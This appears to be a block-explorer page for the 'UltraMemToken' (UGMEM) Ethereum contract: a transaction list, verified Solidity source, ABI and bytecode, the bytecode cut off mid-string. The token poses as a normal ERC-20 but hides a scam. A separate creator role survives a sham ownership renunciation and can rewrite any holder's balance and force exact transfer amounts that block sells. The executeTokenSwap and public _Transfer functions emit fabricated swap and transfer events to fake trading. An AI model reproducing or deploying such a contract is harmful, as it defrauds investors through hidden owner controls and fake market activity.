ETH Price: $2,326.68 (-0.93%)

Contract

0xE03aCC238b4eae30bC2E262645b0ecFfF3039d7D
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve175532342023-06-25 1:27:59451 days ago1687656479IN
0xE03aCC23...fF3039d7D
0 ETH0.0005693512.09473178
Approve175515832023-06-24 19:55:11452 days ago1687636511IN
0xE03aCC23...fF3039d7D
0 ETH0.0006524313.85952281
Alter User Balan...175515722023-06-24 19:52:59452 days ago1687636379IN
0xE03aCC23...fF3039d7D
0 ETH0.0006605813.15926397
Approve175514462023-06-24 19:27:23452 days ago1687634843IN
0xE03aCC23...fF3039d7D
0 ETH0.0006264113.28983613
Approve175511482023-06-24 18:26:47452 days ago1687631207IN
0xE03aCC23...fF3039d7D
0 ETH0.0006480213.76579388
Approve175511222023-06-24 18:21:35452 days ago1687630895IN
0xE03aCC23...fF3039d7D
0 ETH0.0007327115.6525481
Set Forced Trans...175506502023-06-24 16:45:59452 days ago1687625159IN
0xE03aCC23...fF3039d7D
0 ETH0.0008481217.80546678
Approve175506472023-06-24 16:45:23452 days ago1687625123IN
0xE03aCC23...fF3039d7D
0 ETH0.0007471515.96110415
Set Forced Trans...175506342023-06-24 16:42:47452 days ago1687624967IN
0xE03aCC23...fF3039d7D
0 ETH0.0008508317.8621997
Execute Token Sw...175504762023-06-24 16:09:59452 days ago1687622999IN
0xE03aCC23...fF3039d7D
0 ETH0.002678923.62000008
Execute Token Sw...175504732023-06-24 16:09:23452 days ago1687622963IN
0xE03aCC23...fF3039d7D
0 ETH0.0033207824.64366
Execute Token Sw...175504702023-06-24 16:08:47452 days ago1687622927IN
0xE03aCC23...fF3039d7D
0 ETH0.0037478525.76834302
Execute Token Sw...175504682023-06-24 16:08:23452 days ago1687622903IN
0xE03aCC23...fF3039d7D
0 ETH0.0036379426.99735142
Execute Token Sw...175504662023-06-24 16:07:59452 days ago1687622879IN
0xE03aCC23...fF3039d7D
0 ETH0.0043351225.99119288
Execute Token Sw...175504632023-06-24 16:07:11452 days ago1687622831IN
0xE03aCC23...fF3039d7D
0 ETH0.0024654326.78835618
Execute Token Sw...175504602023-06-24 16:06:35452 days ago1687622795IN
0xE03aCC23...fF3039d7D
0 ETH0.0028636127.86998225
Execute Token Sw...175504572023-06-24 16:05:59452 days ago1687622759IN
0xE03aCC23...fF3039d7D
0 ETH0.0052231229.43068192
Execute Token Sw...175504542023-06-24 16:05:23452 days ago1687622723IN
0xE03aCC23...fF3039d7D
0 ETH0.002941531.94439307
Execute Token Sw...175504512023-06-24 16:04:47452 days ago1687622687IN
0xE03aCC23...fF3039d7D
0 ETH0.0026889633.02339265
Execute Token Sw...175504482023-06-24 16:04:11452 days ago1687622651IN
0xE03aCC23...fF3039d7D
0 ETH0.0044788733.23493489
Execute Token Sw...175504452023-06-24 16:03:35452 days ago1687622615IN
0xE03aCC23...fF3039d7D
0 ETH0.0026827532.94718555
Execute Token Sw...175504422023-06-24 16:02:59452 days ago1687622579IN
0xE03aCC23...fF3039d7D
0 ETH0.0030556333.17086207
Execute Token Sw...175504392023-06-24 16:02:23452 days ago1687622543IN
0xE03aCC23...fF3039d7D
0 ETH0.0056130731.62152718
Execute Token Sw...175504362023-06-24 16:01:47452 days ago1687622507IN
0xE03aCC23...fF3039d7D
0 ETH0.0031532730.69990375
Execute Token Sw...175504342023-06-24 16:01:23452 days ago1687622483IN
0xE03aCC23...fF3039d7D
0 ETH0.0048286830.92853481
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UltraMemToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.8;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract StakingPool is ExecutionControl, SingleOwnership {
    IERC20 private _stakingToken;
    mapping(address => uint256) private _stakes;
    mapping(address => uint256) private _stakeTimestamps;
    uint256 private _rewardRate; // Reward tokens per second

    event Staked(address indexed user, uint256 amount);
    event Unstaked(address indexed user, uint256 amount, uint256 reward);

    constructor(IERC20 stakingToken, uint256 rewardRate) {
        _stakingToken = stakingToken;
        _rewardRate = rewardRate;
    }

    function stake(uint256 amount) external {
        _stakingToken.transferFrom(msg.sender, address(this), amount);
        _stakes[msg.sender] += amount;
        _stakeTimestamps[msg.sender] = block.timestamp;

        emit Staked(msg.sender, amount);
    }

    function unstake() external {
        uint256 stakedAmount = _stakes[msg.sender];
        require(stakedAmount > 0, "Nothing to unstake");

        uint256 stakingDuration = block.timestamp - _stakeTimestamps[msg.sender];
        uint256 reward = stakingDuration * _rewardRate * _stakes[msg.sender];

        _stakes[msg.sender] = 0;

        _stakingToken.transfer(msg.sender, stakedAmount + reward);

        emit Unstaked(msg.sender, stakedAmount, reward);
    }

    function myReward() external view returns (uint256) {
        uint256 stakingDuration = block.timestamp - _stakeTimestamps[msg.sender];
        return stakingDuration * _rewardRate * _stakes[msg.sender];
    }
}


contract UltraMemToken is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "UGMEM";
    string public constant _ticker = "UGMEM";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612397806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600581526020017f55474d454d000000000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f55474d454d00000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600581526020017f55474d454d000000000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600581526020017f55474d454d00000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565